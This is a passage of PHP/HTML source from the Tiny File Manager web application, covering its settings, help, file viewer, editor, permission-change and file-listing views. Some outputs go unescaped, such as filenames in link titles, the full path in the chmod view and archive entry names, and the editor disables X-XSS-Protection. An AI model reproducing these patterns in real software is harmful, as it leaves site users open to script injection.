action="" method="post" data-type="ajax" onsubmit="return save_settings(this)"> <input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true"> <div class="form-group row"> <label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label> <div class="col-sm-5"> <select class="form-control" id="js-language" name="js-language"> <?php function getSelected($l) { global $lang; return ($lang == $l) ? 'selected' : ''; } foreach ($lang_list as $k => $v) { echo "<option value='$k' ".getSelected($k).">$v</option>"; } ?> </select> </div> </div> <?php //get ON/OFF and active class function getChecked($conf, $val, $txt) { if($conf== 1 && $val ==1) { return $txt; } else if($conf == '' && $val == '') { return $txt; } else { return ''; } } ?> <div class="form-group row"> <label for="js-err-rpt-1" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label> <div class="col-sm-9"> <div class="btn-group btn-group-toggle" data-toggle="buttons"> <label class="btn btn-secondary <?php echo getChecked($report_errors, 1, 'active') ?>"> <input type="radio" name="js-error-report" id="js-err-rpt-1" autocomplete="off" value="true" <?php echo getChecked($report_errors, 1, 'checked') ?> > ON </label> <label class="btn btn-secondary <?php echo getChecked($report_errors, '', 'active') ?>"> <input type="radio" name="js-error-report" id="js-err-rpt-0" autocomplete="off" value="false" <?php echo getChecked($report_errors, '', 'checked') ?> > OFF </label> </div> </div> </div> <div class="form-group row"> <label for="js-hdn-1" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label> <div class="col-sm-9"> <div class="btn-group btn-group-toggle" data-toggle="buttons"> <label class="btn btn-secondary <?php echo getChecked($show_hidden_files, 1, 'active') ?>"> <input type="radio" name="js-show-hidden" id="js-hdn-1" autocomplete="off" value="true" <?php echo getChecked($show_hidden_files, 1, 'checked') ?> > ON </label> <label class="btn btn-secondary <?php echo getChecked($show_hidden_files, '', 'active') ?>"> <input type="radio" name="js-show-hidden" id="js-hdn-0" autocomplete="off" value="false" <?php echo getChecked($show_hidden_files, '', 'checked') ?> > OFF </label> </div> </div> </div> <div class="form-group row"> <label for="js-hid-1" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label> <div class="col-sm-9"> <div class="btn-group btn-group-toggle" data-toggle="buttons"> <label class="btn btn-secondary <?php echo getChecked($hide_Cols, 1, 'active') ?>"> <input type="radio" name="js-hide-cols" id="js-hid-1" autocomplete="off" value="true" <?php echo getChecked($hide_Cols, 1, 'checked') ?> > ON </label> <label class="btn btn-secondary <?php echo getChecked($hide_Cols, '', 'active') ?>"> <input type="radio" name="js-hide-cols" id="js-hid-0" autocomplete="off" value="false" <?php echo getChecked($hide_Cols, '', 'checked') ?> > OFF </label> </div> </div> </div> <div class="form-group row"> <label for="js-dir-1" class="col-sm-3 col-form-label"><?php echo lng('CalculateFolderSize') ?></label> <div class="col-sm-9"> <div class="btn-group btn-group-toggle" data-toggle="buttons"> <label class="btn btn-secondary <?php echo getChecked($calc_folder, 1, 'active') ?>"> <input type="radio" name="js-calc-folder" id="js-dir-1" autocomplete="off" value="true" <?php echo getChecked($calc_folder, 1, 'checked') ?> > ON </label> <label class="btn btn-secondary <?php echo getChecked($calc_folder, '', 'active') ?>"> <input type="radio" name="js-calc-folder" id="js-dir-0" autocomplete="off" value="false" <?php echo getChecked($calc_folder, '', 'checked') ?> > OFF </label> </div> </div> </div> <div class="form-group row"> <label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng('Theme') ?></label> <div class="col-sm-5"> <select class="form-control" id="js-3-0" name="js-theme-3" style="width:100px;"> <option value='light' <?php if($theme == "light"){echo "selected";} ?>><?php echo lng('light') ?></option> <option value='dark' <?php if($theme == "dark"){echo "selected";} ?>><?php echo lng('dark') ?></option> </select> </div> </div> <div class="form-group row"> <div class="col-sm-10"> <button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button> </div> </div> </form> </div> </div> </div> <?php fm_show_footer(); exit; } if (isset($_GET['help'])) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path global $cfg, $lang; ?> <div class="col-md-8 offset-md-2 pt-3"> <div class="card mb-2 <?php echo fm_get_theme(); ?>"> <h6 class="card-header"> <i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?> <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-window-close"></i> <?php echo lng('Cancel')?></a> </h6> <div class="card-body"> <div class="row"> <div class="col-xs-12 col-sm-6"> <p><h3><a href="https://github.com/prasathmani/tinyfilemanager" target="_blank" class="app-v-title"> Tiny File Manager <?php echo VERSION; ?></a></h3></p> <p>Author: Prasath Mani</p> <p>Mail Us: <a href="mailto:ccpprogrammers@gmail.com">ccpprogrammers[at]gmail.com</a> </p> </div> <div class="col-xs-12 col-sm-6"> <div class="card"> <ul class="list-group list-group-flush"> <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/wiki" target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li> <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/issues" target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li> <li class="list-group-item"><a href="javascript:latest_release_info('<?php echo VERSION; ?>');"><i class="fa fa-link"> </i> <?php echo lng('Check Latest Version') ?></a></li> <?php if(!FM_READONLY) { ?> <li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li> <?php } ?> </ul> </div> </div> </div> <div class="row js-new-pwd hidden mt-2"> <div class="col-12"> <form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action=""> <input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true"> <div class="form-group mb-2"> <label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label> </div> <div class="form-group mx-sm-3 mb-2"> <label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label> <input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="Password" required> </div> <button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button> </form> <textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea> </div> </div> </div> </div> </div> <?php fm_show_footer(); exit; } // file viewer if (isset($_GET['view'])) { $file = $_GET['view']; $quickView = (isset($_GET['quickView']) && $_GET['quickView'] == 1) ? true : false; $file = fm_clean_path($file, false); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file) || in_array($file, $GLOBALS['exclude_items'])) { fm_set_msg(lng('File not found'), 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } if(!$quickView) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path } $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize_raw = fm_get_size($file_path); $filesize = fm_get_filesize($filesize_raw); $is_zip = false; $is_gzip = false; $is_image = false; $is_audio = false; $is_video = false; $is_text = false; $is_onlineViewer = false; $view_title = 'File'; $filenames = false; // for zip $content = ''; // for text $online_viewer = strtolower(FM_DOC_VIEWER); if($online_viewer && $online_viewer !== 'false' && in_array($ext, fm_get_onlineViewer_exts())){ $is_onlineViewer = true; } elseif ($ext == 'zip' || $ext == 'tar') { $is_zip = true; $view_title = 'Archive'; $filenames = fm_get_zif_info($file_path, $ext); } elseif (in_array($ext, fm_get_image_exts())) { $is_image = true; $view_title = 'Image'; } elseif (in_array($ext, fm_get_audio_exts())) { $is_audio = true; $view_title = 'Audio'; } elseif (in_array($ext, fm_get_video_exts())) { $is_video = true; $view_title = 'Video'; } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?> <div class="row"> <div class="col-12"> <?php if(!$quickView) { ?> <p class="break-word"><b><?php echo $view_title ?> "<?php echo fm_enc(fm_convert_win($file)) ?>"</b></p> <p class="break-word"> Full path: <?php echo fm_enc(fm_convert_win($file_path)) ?><br> File size: <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?><br> MIME-type: <?php echo $mime_type ?><br> <?php // ZIP info if (($is_zip || $is_gzip) && $filenames !== false) { $total_files = 0; $total_comp = 0; $total_uncomp = 0; foreach ($filenames as $fn) { if (!$fn['folder']) { $total_files++; } $total_comp += $fn['compressed_size']; $total_uncomp += $fn['filesize']; } ?> Files in archive: <?php echo $total_files ?><br> Total size: <?php echo fm_get_filesize($total_uncomp) ?><br> Size in archive: <?php echo fm_get_filesize($total_comp) ?><br> Compression: <?php echo round(($total_comp / $total_uncomp) * 100) ?>%<br> <?php } // Image info if ($is_image) { $image_size = getimagesize($file_path); echo 'Image sizes: ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>'; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo 'Charset: ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>'; } ?> </p> <p> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($file) ?>"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></a></b> <b><a href="<?php echo fm_enc($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b> <?php // ZIP actions if (!FM_READONLY && ($is_zip || $is_gzip) && $filenames !== false) { $zip_name = pathinfo($file_path, PATHINFO_FILENAME); ?> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&unzip=<?php echo urlencode($file) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></a></b> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&unzip=<?php echo urlencode($file) ?>&tofolder=1" title="UnZip to <?php echo fm_enc($zip_name) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZipToFolder') ?></a></b> <?php } if ($is_text && !FM_READONLY) { ?> <b><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?> </a></b> <b><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace" class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?> </a></b> <?php } ?> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b> </p> <?php } if($is_onlineViewer) { if($online_viewer == 'google') { echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>'; } else if($online_viewer == 'microsoft') { echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>'; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo '<code class="maxheight">'; foreach ($filenames as $fn) { if ($fn['folder']) { echo '<b>' . fm_enc($fn['name']) . '</b><br>'; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>'; } } echo '</code>'; } else { echo '<p>'.lng('Error while fetching archive info').'</p>'; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '<p><img src="' . fm_enc($file_url) . '" alt="" class="preview-img"></p>'; } } elseif ($is_audio) { // Audio content echo '<p><audio src="' . fm_enc($file_url) . '" controls preload="metadata"></audio></p>'; } elseif ($is_video) { // Video content echo '<div class="preview-video"><video src="' . fm_enc($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>'; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fm_enc($content) . '</code></pre>'; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '<pre>' . fm_enc($content) . '</pre>'; } echo $content; } ?> </div> </div> <?php if(!$quickView) { fm_show_footer(); } exit; } // file editor if (isset($_GET['edit'])) { $file = $_GET['edit']; $file = fm_clean_path($file, false); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?> <div class="path"> <div class="row"> <div class="col-xs-12 col-sm-5 col-lg-6 pt-1"> <div class="btn-toolbar" role="toolbar"> <?php if (!$isNormalEditor) { ?> <div class="btn-group js-ace-toolbar"> <button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="Fullscreen"><i class="fa fa-expand" title="Fullscreen"></i></button> <button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="Search"><i class="fa fa-search" title="Search"></i></button> <button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="Undo"><i class="fa fa-undo" title="Undo"></i></button> <button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="Redo"><i class="fa fa-repeat" title="Redo"></i></button> <button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="Word Wrap"><i class="fa fa-text-width" title="Word Wrap"></i></button> <button data-cmd="none" data-option="help" class="btn btn-sm btn-outline-secondary" id="js-ace-goLine" title="Help"><i class="fa fa-question" title="Help"></i></button> <select id="js-ace-mode" data-type="mode" title="Select Document Type" class="btn-outline-secondary border-left-0 d-none d-md-block"><option>-- Select Mode --</option></select> <select id="js-ace-theme" data-type="theme" title="Select Theme" class="btn-outline-secondary border-left-0 d-none d-lg-block"><option>-- Select Theme --</option></select> <select id="js-ace-fontSize" data-type="fontSize" title="Select Font Size" class="btn-outline-secondary border-left-0 d-none d-lg-block"><option>-- Select Font Size --</option></select> </div> <?php } ?> </div> </div> <div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-right pt-1"> <a title="Back" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a> <a title="Backup" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a> <?php if ($is_text) { ?> <?php if ($isNormalEditor) { ?> <a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a> <button type="button" class="btn btn-sm btn-outline-primary name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save </button> <?php } else { ?> <a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a> <button type="button" class="btn btn-sm btn-outline-primary" name="Save" data-url="<?php echo fm_enc($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?> </button> <?php } ?> <?php } ?> </div> </div> <?php if ($is_text && $isNormalEditor) { echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>'; } elseif ($is_text) { echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>'; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?> </div> <?php fm_show_footer(); exit; } // chmod (not for Windows) if (isset($_GET['chmod']) && !FM_READONLY && !FM_IS_WIN) { $file = $_GET['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file; $file_path = $path . '/' . $file; $mode = fileperms($path . '/' . $file); ?> <div class="path"> <div class="card mb-2 <?php echo fm_get_theme(); ?>"> <h6 class="card-header"> <?php echo lng('ChangePermissions') ?> </h6> <div class="card-body"> <p class="card-text"> Full path: <?php echo $file_path ?><br> </p> <form action="" method="post"> <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>"> <input type="hidden" name="chmod" value="<?php echo fm_enc($file) ?>"> <table class="table compact-table <?php echo fm_get_theme(); ?>"> <tr> <td></td> <td><b><?php echo lng('Owner') ?></b></td> <td><b><?php echo lng('Group') ?></b></td> <td><b><?php echo lng('Other') ?></b></td> </tr> <tr> <td style="text-align: right"><b><?php echo lng('Read') ?></b></td> <td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td> </tr> <tr> <td style="text-align: right"><b><?php echo lng('Write') ?></b></td> <td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td> </tr> <tr> <td style="text-align: right"><b><?php echo lng('Execute') ?></b></td> <td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td> <td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td> </tr> </table> <p> <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b> </p> </form> </div> </div> </div> <?php fm_show_footer(); exit; } //--- FILEMANAGER MAIN fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path // messages fm_show_message(); $num_files = count($files); $num_folders = count($folders); $all_files_size = 0; $tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white"; ?> <form action="" method="post" class="pt-3"> <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>"> <input type="hidden" name="group" value="1"> <div class="table-responsive"> <table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table"> <thead class="thead-white"> <tr> <?php if (!FM_READONLY): ?> <th style="width:3%" class="custom-checkbox-header"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()"> <label class="custom-control-label" for="js-select-all-items"></label> </div> </th><?php endif; ?> <th><?php echo lng('Name') ?></th> <th><?php echo lng('Size') ?></th> <th><?php echo lng('Modified') ?></th> <?php if (!FM_IS_WIN && !$hide_Cols): ?> <th><?php echo lng('Perms') ?></th> <th><?php echo lng('Owner') ?></th><?php endif; ?> <th><?php echo lng('Actions') ?></th> </tr> </thead> <?php // link to parent folder if ($parent !== false) { ?> <tr><?php if (!FM_READONLY): ?> <td class="nosort"></td><?php endif; ?> <td class="border-0"><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td> <td class="border-0"></td> <td class="border-0"></td> <td class="border-0"></td> <?php if (!FM_IS_WIN && !$hide_Cols) { ?> <td class="border-0"></td> <td class="border-0"></td> <?php } ?> </tr> <?php } $ii = 3399; foreach ($folders as $f) { $is_link = is_link($path . '/' . $f); $img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o'; $modif_raw = filemtime($path . '/' . $f); $modif = date(FM_DATETIME_FORMAT, $modif_raw); if ($calc_folder) { $filesize_raw = fm_get_directorysize($path . '/' . $f); $filesize = fm_get_filesize($filesize_raw); } else { $filesize_raw = ""; $filesize = lng('Folder'); } $perms = substr(decoct(fileperms($path . '/' . $f)), -4); if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { $owner = posix_getpwuid(fileowner($path . '/' . $f)); $group = posix_getgrgid(filegroup($path . '/' . $f)); } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> <tr> <?php if (!FM_READONLY): ?> <td class="custom-checkbox-td"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="custom-control-input" id="<?php echo $ii ?>" name="file[]" value="<?php echo fm_enc($f) ?>"> <label class="custom-control-label" for="<?php echo $ii ?>"></label> </div> </td><?php endif; ?> <td> <div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?> </a><?php echo($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div> </td> <td data-sort="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>"> <?php echo $filesize; ?> </td> <td data-sort="a-<?php echo $modif_raw;?>"><?php echo $modif ?></td> <?php if (!FM_IS_WIN && !$hide_Cols): ?> <td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?> </td> <td><?php echo $owner['name'] . ':' . $group['name'] ?></td> <?php endif; ?> <td class="inline-actions"><?php if (!FM_READONLY): ?> <a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="return confirm('<?php echo lng('Delete').' '.lng('Folder').'?'; ?>\n \n ( <?php echo urlencode($f) ?> )');"> <i class="fa fa-trash-o" aria-hidden="true"></i></a> <a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fm_enc(addslashes(FM_PATH)) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a> <a title="<?php echo lng('CopyTo')?>..." href="?p=&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a> <?php endif; ?> <a title="<?php echo lng('DirectLink')?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a> </td> </tr> <?php flush(); $ii++; } $ik = 6070; foreach ($files as $f) { $is_link = is_link($path . '/' . $f); $img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f); $modif_raw = filemtime($path . '/' . $f); $modif = date(FM_DATETIME_FORMAT, $modif_raw); $filesize_raw = fm_get_size($path . '/' . $f); $filesize = fm_get_filesize($filesize_raw); $filelink = '?p=' . urlencode(FM_PATH) . '&view=' . urlencode($f); $all_files_size += $filesize_raw; $perms = substr(decoct(fileperms($path . '/' . $f)), -4); if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) { $owner = posix_getpwuid(fileowner($path . '/' . $f)); $group = posix_getgrgid(filegroup($path . '/' . $f)); } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> <tr> <?php if (!FM_READONLY): ?> <td class="custom-checkbox-td"> <div class="custom-control custom-checkbox"> <input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fm_enc($f) ?>"> <label class="custom-control-label" for="<?php echo $ik ?>"></label> </div> </td><?php endif; ?> <td> <div class="filename"> <?php if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?> <?php $imagePreview = fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?> <a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fm_enc($f) ?>"> <?php else: ?> <a href="<?php echo $filelink ?>" title="<?php echo $f ?>"> <?php endif; ?> <i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fm_enc($f)) ?> </a> <?php echo($is_link ? ' → <i>' . readlink($path . '/' . $f) . '</i>' : '') ?> </div> </td> <td data-sort=b-"<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>"> <?php echo $filesize; ?> </span></td> <td data-sort="b-<?php echo $modif_raw;?>"><?php echo $modif ?></td> <?php if (!FM_IS_WIN && !$hide_Cols): ?> <td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?> </td> <td><?php echo fm_enc($owner['name'] . ':' . $group['name']) ?></td> <?php endif; ?> <td class="inline-actions"> <a title="<?php echo lng('Preview') ?>" href="<?php echo $filelink.'&quickView=1'; ?>" data-toggle="lightbox" data-gallery="tiny-gallery" data-title="<?php echo fm_convert_win(fm_enc($f)) ?>" data-max-width="100%" data-width="100%"><i class="fa fa-eye"></i></a> <?php if (!FM_READONLY): ?> <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&del=<?php echo urlencode($f) ?>" onclick="return confirm('<?php echo lng('Delete').' '.lng('File').'?'; ?>\n \n ( <?php echo urlencode($f) ?> )');"> <i class="fa fa-trash-o"></i></a> <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fm_enc(addslashes(FM_PATH)) ?>', '<?php echo fm_enc(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a> <a title="<?php echo lng('CopyTo') ?>..." href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a> <?php endif; ?> <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fm_enc(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a> <a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($f) ?>"><i class="fa fa-download"></i></a> </td> </tr> <?php flush(); $ik++; } if (empty($folders) && empty($files)) { ?> <tfoot> <tr><?php if (!FM_READONLY): ?> <td></td><?php endif; ?> <td colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? '6' : '4' ?>"><em><?php echo 'Folder is empty' ?></em></td> </tr> </tfoot> <?php } else { ?> <tfoot> <tr><?php if (!FM_READONLY): ?> <td class="gray"></td><?php endif; ?> <td class="gray" colspan="<?php echo (!FM_IS_WIN && !$hide_Cols) ? '6' : '4' ?>"> <?php echo lng('FullSize').': <span class="badge badge-light">'.fm_get_filesize($all_files_size).'</span>' ?> <?php echo lng('File').': <span class="badge badge-light">'.$num_files.'</span>' ?> <?php echo lng('Folder').': <span class="badge badge-light">'.$num_folders.'</span>' ?> <?php echo lng('PartitionSize').': <span class="badge badge-light">'.fm_get_filesize(@disk_free_space($path)) .'</span> '.lng('FreeOf').' <span class="badge badge-light">'.fm_get_filesize(@disk_total_space($path)).'</span>'; ?> </td> </tr> </tfoot> <?php } ?> </table> </div> <div class="row"> <?php if (!FM_READONLY): ?> <div class="col-xs-12 col-sm-9"> <ul class="list-inline footer-action"> <li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary 